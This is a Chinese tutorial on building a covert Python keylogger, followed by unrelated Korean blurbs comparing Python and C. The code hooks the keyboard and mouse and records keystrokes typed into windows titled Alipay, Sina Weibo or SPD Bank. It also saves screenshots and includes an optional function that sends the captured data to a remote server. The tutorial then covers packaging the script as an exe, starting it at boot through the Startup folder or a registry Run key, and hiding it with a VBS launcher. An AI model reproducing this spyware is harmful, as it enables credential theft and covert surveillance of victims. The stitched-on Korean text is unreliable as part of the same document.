本文以一段简单的监听鼠标、键盘事件的程序,实现获取用户的输入(比如登录某些网站的账号、密码)的功能。经测试,对于一台“裸奔”的电脑,完全能获取到用户输入的任何信息;但是如果安装了杀毒软件,就够呛了。具体实现方法如下:
一、代码部分:获取用户输入信息,并与截图一起保存到XX目录下
# -*- coding: utf-8 -*- # import pythoncom import pyHook import time import socket from PIL import ImageGrab # #如果是远程监听某个目标电脑,可以自己架设一个服务器,然后将获取到的信息发回给服务器 # def send_msg_to_server(msg): host="" port=1234 buf_size=1024 addr=(host,port) if len(msg)>0: tcp_client_sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) tcp_client_sock.connect(addr) info=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))+' from '+socket.gethostname()+':' tcp_client_sock.sendall(info+msg) tcp_client_sock.close() # #也可以将获取到的信息保存到本地文件下 # def write_msg_to_txt(msg): f=open('D:/workspace/mytest/pyhook/media/monitor.txt','a') f.write(msg+'\r\n') f.close() def onMouseEvent(event): # 监听鼠标事件 global MSG if len(MSG)!=0: #send_msg_to_server(MSG) write_msg_to_txt(MSG) MSG='' pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time())) #将用户屏幕截图,保存到本地某个目录下(也可以搞成远程发送到自己的服务器) pic = ImageGrab.grab() pic.save('D:/workspace/mytest/pyhook/media/mouse_%s.png' % pic_name) return True def onKeyboardEvent(event): #监听键盘事件 global MSG title= event.WindowName.decode('GBK') #通过网站title,判断当前网站是否是“监听目标” if title.find(u"支付宝") != -1 or title.find(u'新浪微博')!=-1 or title.find(u'浦发银行')!=-1: #Ascii: 8-Backspace , 9-Tab ,13-Enter if (127 >= event.Ascii > 31) or (event.Ascii == 8): MSG += chr(event.Ascii) if (event.Ascii == 9) or (event.Ascii == 13): #send_msg_to_remote(MSG) write_msg_to_txt(MSG) MSG = '' #屏幕抓图实现 pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time())) pic = ImageGrab.grab() #保存成为以日期命名的图片 pic.save('D:/workspace/mytest/pyhook/media/keyboard_%s.png' % pic_name) return True if __name__ == "__main__": MSG = '' #创建hook句柄 hm = pyHook.HookManager() #监控鼠标 hm.SubscribeMouseLeftDown(onMouseEvent) hm.HookMouse() #监控键盘 hm.KeyDown = onKeyboardEvent hm.HookKeyboard() #循环获取消息 pythoncom.PumpMessages()
二、用py2exe将脚本打包:
新建一个py文件setup.py,内容如下:
from distutils.core import setup import py2exe setup(console=["monitor.py"]) #setup(windows=["monitor.py"])
命令行执行以下命令:
pythonsetup.pypy2exe
三、将该程序设置为开机自动启动:
步骤①:
将需要开机启动的文件(创建一个快捷方式,然后)放到“开始/所有程序/启动”目录下
步骤②:
修改注册表:命令行— regedit ,然后到以下路径下:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
新建一个“字符串值”,然后编辑:设置exe文件所在路径
D:\workspace\mytest\pyhook\dist\monitor.exe
(以上两种方式启动monitor.exe的话,会弹出一个命令框,显示监听日志信息,这样的话,被监听的人一下就能发现了,可以试试下面这个方式)
步骤③:
新建一个 .vbs文件,内容如下:
setwscriptObj=CreateObject("Wscript.Shell") wscriptObj.run“D:\workspace\mytest\pyhook\dist\monitor.exe",0
双击运行该vbs文件,则monitor.exe就在后台启动了(不会弹出一个大黑框)。
然后参考法①、② 把该vbs设置成开机启动即可。
补充:
1、该程序涉及到一些模块都需要自己安装一下;
2、文章中凡是“D:\workspace....”这样的路径都需要改成自己的真实路径;
3、本代码仅为测试示例,读者不要将其用于非法用途。
感兴趣的读者可以对本文实例加以改进,使之功能更加完善。

Python과 C는 각각 고유 한 장점이 있으며 선택은 프로젝트 요구 사항을 기반으로해야합니다. 1) Python은 간결한 구문 및 동적 타이핑으로 인해 빠른 개발 및 데이터 처리에 적합합니다. 2) C는 정적 타이핑 및 수동 메모리 관리로 인해 고성능 및 시스템 프로그래밍에 적합합니다.

Python 또는 C를 선택하는 것은 프로젝트 요구 사항에 따라 다릅니다. 1) 빠른 개발, 데이터 처리 및 프로토 타입 설계가 필요한 경우 Python을 선택하십시오. 2) 고성능, 낮은 대기 시간 및 근접 하드웨어 제어가 필요한 경우 C를 선택하십시오.

매일 2 시간의 파이썬 학습을 투자하면 프로그래밍 기술을 효과적으로 향상시킬 수 있습니다. 1. 새로운 지식 배우기 : 문서를 읽거나 자습서를 시청하십시오. 2. 연습 : 코드를 작성하고 완전한 연습을합니다. 3. 검토 : 배운 내용을 통합하십시오. 4. 프로젝트 실무 : 실제 프로젝트에서 배운 것을 적용하십시오. 이러한 구조화 된 학습 계획은 파이썬을 체계적으로 마스터하고 경력 목표를 달성하는 데 도움이 될 수 있습니다.

2 시간 이내에 Python을 효율적으로 학습하는 방법 : 1. 기본 지식을 검토하고 Python 설치 및 기본 구문에 익숙한 지 확인하십시오. 2. 변수, 목록, 기능 등과 같은 파이썬의 핵심 개념을 이해합니다. 3. 예제를 사용하여 마스터 기본 및 고급 사용; 4. 일반적인 오류 및 디버깅 기술을 배우십시오. 5. 목록 이해력 사용 및 PEP8 스타일 안내서와 같은 성능 최적화 및 모범 사례를 적용합니다.

Python은 초보자 및 데이터 과학에 적합하며 C는 시스템 프로그래밍 및 게임 개발에 적합합니다. 1. 파이썬은 간단하고 사용하기 쉽고 데이터 과학 및 웹 개발에 적합합니다. 2.C는 게임 개발 및 시스템 프로그래밍에 적합한 고성능 및 제어를 제공합니다. 선택은 프로젝트 요구와 개인적인 이익을 기반으로해야합니다.

Python은 데이터 과학 및 빠른 개발에 더 적합한 반면 C는 고성능 및 시스템 프로그래밍에 더 적합합니다. 1. Python Syntax는 간결하고 학습하기 쉽고 데이터 처리 및 과학 컴퓨팅에 적합합니다. 2.C는 복잡한 구문을 가지고 있지만 성능이 뛰어나고 게임 개발 및 시스템 프로그래밍에 종종 사용됩니다.

파이썬을 배우기 위해 하루에 2 시간을 투자하는 것이 가능합니다. 1. 새로운 지식 배우기 : 목록 및 사전과 같은 1 시간 안에 새로운 개념을 배우십시오. 2. 연습 및 연습 : 1 시간을 사용하여 소규모 프로그램 작성과 같은 프로그래밍 연습을 수행하십시오. 합리적인 계획과 인내를 통해 짧은 시간에 Python의 핵심 개념을 마스터 할 수 있습니다.

Python은 배우고 사용하기 쉽고 C는 더 강력하지만 복잡합니다. 1. Python Syntax는 간결하며 초보자에게 적합합니다. 동적 타이핑 및 자동 메모리 관리를 사용하면 사용하기 쉽지만 런타임 오류가 발생할 수 있습니다. 2.C는 고성능 응용 프로그램에 적합한 저수준 제어 및 고급 기능을 제공하지만 학습 임계 값이 높고 수동 메모리 및 유형 안전 관리가 필요합니다.


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